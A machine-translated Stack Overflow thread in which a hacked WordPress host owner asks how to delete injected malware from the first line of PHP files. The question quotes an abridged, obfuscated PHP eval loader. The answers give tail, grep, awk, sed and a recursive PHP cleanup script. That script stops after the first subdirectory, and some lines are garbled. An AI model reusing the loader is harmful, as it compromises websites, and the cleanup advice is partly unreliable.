sed从php第一行删除

sed从php第一行删除,sed,malware,Sed,Malware,我的共享主机被黑客攻击了。所有php文件的目录中都有这种代码。我敢打赌,我有旧的WordPress安装,在web目录中放置了一些恶意软件。我真丢脸,我没把那些拿走。现在我有两个活动网站,上面有恶意软件,我没有备份。所有恶意软件文件都在第一行现在我需要删除它。我试过了,但没用。它没有移除任何东西 <?php $xmrcycpmjf= 6767~6<Cw6<pd%x5c%x7825w6Z6<.57825mm)%x5c%x7825%x5c%x7878:-.........!%x

我的共享主机被黑客攻击了。所有php文件的目录中都有这种代码。我敢打赌,我有旧的WordPress安装,在web目录中放置了一些恶意软件。我真丢脸,我没把那些拿走。现在我有两个活动网站,上面有恶意软件,我没有备份。所有恶意软件文件都在第一行
现在我需要删除它。我试过了,但没用。它没有移除任何东西

<?php $xmrcycpmjf= 6767~6<Cw6<pd%x5c%x7825w6Z6<.57825mm)%x5c%x7825%x5c%x7878:-.........!%x5c%x7825tzw%x5x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c25h>#]y31]278]y35\141\x70\146\x66\153\x74\154\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\63\x34\55\x31\71\x37\51\x29\54\x20\143\x68\162\x28\50\x35\65\x35\55\x34\66\x33\51\x29\54\x20\171\x79\166\x6f\151\x6b\157\x68\157\x68\50\x24\143\x6d\142\x78\170\x61\153\x63\144\x6e\54\x24\170\x6d\162\x63\171\x63\160\x6d\152\x66\51\x29\51\x3b\40\x2f\52\x20\157\x73\144\x6f\167\x6d\150\x72\145\x7a\40\x2a\57\x20"; $vmdcgfyvud=substr($xmrcycpmjf,(39882-29769),(52-40)); $vmdcgfyvud($efppuciabz, $ucpqtjetra, NULL);...... $vmdcgfyvud=$ucpqtjetra; $vmdcgfyvud=(409-288); $xmrcycpmjf=$vmdcgfyvud-1; ?><?php echo "test"?>

您可以使用
tail
,而不是使用
sed

tail -n +2 file > output
mv output file
tail
只会忽略第一行,而其他行只会重复出现


或者您可以使用类似于
grep
的东西和
-v
标志来忽略该行:

grep -v -F '<?php $xmrcycpmjf= 6767~6<Cw6<pd%x5c%x7825w6Z6<.57825mm)%x5c%x782...' < file
grep-v-F'这样行吗

awk -F"<" '{print FS$NF}' file
<?php echo "test"?>

awk-F”试试这个简单的sed命令

sed '1s/.*\(<.*\)$/\1/g' file

sed'1s/*\(假设恶意软件始终包含在第一个(!)php块中,您可以使用此正则表达式

^(<\?php)(.*?)(\?>)
^()
要删除第一个PHP块,请通过每个文件递归运行,并用空字符串替换第一个匹配项

例如PHP

<?php
//Save as clean.php
function cleanup($dir) {
$dirh = opendir($dir);

if ($dirh) {
    while (($file = readdir($dirh)) !== false) {
        $file_path = $dir . "/" . $file;

        if(is_file($file_path)){
            $info = pathinfo($file_path);

            if($info['extension'] === "php" && $info['basename'] != "clean.php"){
                file_put_contents($file_path, preg_replace('/^(<\?php)(.*?)(\?>)/', '', file_get_contents($file_path), 1));
            }
        } else if(is_dir($file_path)){
            return cleanup($file_path);
        }

    }

    closedir($dirh);
}
}
cleanup('web'); //Pass the name of infected dir

下一行是真正的代码吗?试试
sed'1s/^.*$//g'文件
如果你不确定答案是否符合OPs的需要,首先通过询问适当的评论来澄清你是否理解他的需要。答案并不意味着包括任何问题,这是答案和问题之间的主要区别。谢谢你的帮助。很棒的帮手。…我没有收到任何电子邮件通知。我会更快地回复。[n00b]
^(<\?php)(.*?)(\?>)
<?php
//Save as clean.php
function cleanup($dir) {
$dirh = opendir($dir);

if ($dirh) {
    while (($file = readdir($dirh)) !== false) {
        $file_path = $dir . "/" . $file;

        if(is_file($file_path)){
            $info = pathinfo($file_path);

            if($info['extension'] === "php" && $info['basename'] != "clean.php"){
                file_put_contents($file_path, preg_replace('/^(<\?php)(.*?)(\?>)/', '', file_get_contents($file_path), 1));
            }
        } else if(is_dir($file_path)){
            return cleanup($file_path);
        }

    }

    closedir($dirh);
}
}
cleanup('web'); //Pass the name of infected dir